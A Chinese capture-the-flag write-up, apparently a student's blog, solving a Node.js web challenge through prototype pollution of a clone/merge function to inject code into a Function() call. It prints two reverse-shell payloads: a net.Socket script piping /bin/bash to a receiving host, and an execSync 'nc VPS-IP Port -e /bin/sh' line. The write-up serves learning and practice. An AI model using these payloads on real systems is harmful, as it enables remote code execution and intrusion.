前言

最后一周的web竟然是四种语言的框架,而且还没有Pythonphp也不会做,面向Google做题终于做出来一道Javascript原型链污染,终于可以不用担心被踢出群聊爆零了!

Web

sekiro

首先下载源码,扫了一下是nodejs,猜测应该是原型链污染

理清思路

于是上Google,搜到这类题型常见的漏洞,其中就有

var body = JSON.parse(JSON.stringify(req.body));
var copybody = clone(body);

这种样子,其中clone()函数是原型链污染的关键。把这段代码放到Google上搜可以搜到好多分析,这里就列举一篇文章,JavaScript 原型链污染

然后可以在源码中找到这一段

router.post('/action', function (req, res) {
  ...
  var body = JSON.parse(JSON.stringify(req.body));
  var copybody = clone(body)
  if (copybody.solution) {
    req.session.sekiro = Game.dealWithAttacks(req.session.sekiro, copybody.solution)
  }
  res.end("提交成功")
})

那么这里就是可以利用的漏洞点了,那么我怎么拿到flag在与出题人的交谈中,我了解到,nodejs原型链污染后命令执行反弹shell,可以直接拿到shell,从而一波cat flag就可以了。但是在哪里可以命令执行呢?kevin学长建议我去尝试nodejs下断点调试,来寻找可以命令执行的地方。

于是Google了一波nodejs断点调试的方法,踩了许多坑,终于能在本地跑起来了。找到了一处可以注入代码的地方。

this.dealWithAttacks = function (sekiro, solution) {
    if (sekiro.attackInfo.solution !== solution) {                ...
        if (sekiro.attackInfo.additionalEffect) {
            var fn = Function("sekiro", sekiro.attackInfo.additionalEffect + "\nreturn sekiro")
            sekiro = fn(sekiro)
        }
    ...
    return sekiro
}

我们把fn匿名函数单独拿出来研究结构。

function(){
    sekiro.attackInfo.additionalEffect
    return sekiro
}

这样是不是很清楚!如果我们通过原型链污染可以污染additionalEffect这个属性,那么我们可以构造我们想要的任意代码,最后导致命令执行

原型链污染的产生

思路已经确定了,但在这里因为我原型链污染的概念还不清楚,所以绕了点路。原型链污染的产生是因为clone()这个函数。我们来看一看执行过程。

const isObject = (obj) => obj && obj.constructor && obj.constructor === Object;
const merge = (a, b) => {
  for (var attr in b) {
    if (isObject(a[attr]) && isObject(b[attr])) {
      merge(a[attr], b[attr]);
    } else {
      a[attr] = b[attr];
    }
  }
  return a;
};
const clone = (a) => {
  return merge({}, a);
};
test = '{"__proto__":{"aaa":1}}';
clone(JSON.parse(test));

clone()中有一个危险的merge()函数,可以给对象赋值,并且键值可控,当我们恶意的将键值变为__proto__时,就可以污染所有Object,使其具有一个我们需要的属性aaa

我原先试图污染的是attackInfo这个属性,但kevin学长指出问题,每一个sekiro都有一个attackInfo属性,而只有当本身这个类里找不到这个属性时,才会在__proto__里寻找,以此类推,遍历整个原型链

所以我要做的就是,选择一个没有additionalEffect子属性的sekiro,向/action发送POST请求,在fn函数里注入恶意代码,从而导致命令执行

命令执行

弹shell之前,我首先尝试在本地console.log()一下。污染的时候有一个巨坑,直接在Console控制台改时,因为有JSON.stringify()函数的存在,无法成功地污染。正确的方法应该是发包,本地测试的时候,我选择的是Postman。改Content-Typeapplication/json,在Body里注入代码。

可以看到这里成功console.log()了。

然后想办法弹shell,这里也是巨坑,网上找到的大多都是用netchild_process模块,形如这样:

var net = require("net"),
  sh = require("child_process").exec("/bin/bash");
var client = new net.Socket();
client.connect(8080, "receiving-IP", function () {
  client.pipe(sh.stdin);
  sh.stdout.pipe(client);
  sh.stderr.pipe(client);
});

但是,在匿名函数fn里,不管怎么样都是报错,后来学长告诉我一种常用的弹shell的方法,在此记录。

弹 shell

global.process.mainModule
  .require("child_process")
  .execSync("nc VPS-IP Port -e /bin/sh");

拿到shell,切换到根目录cd /cat flag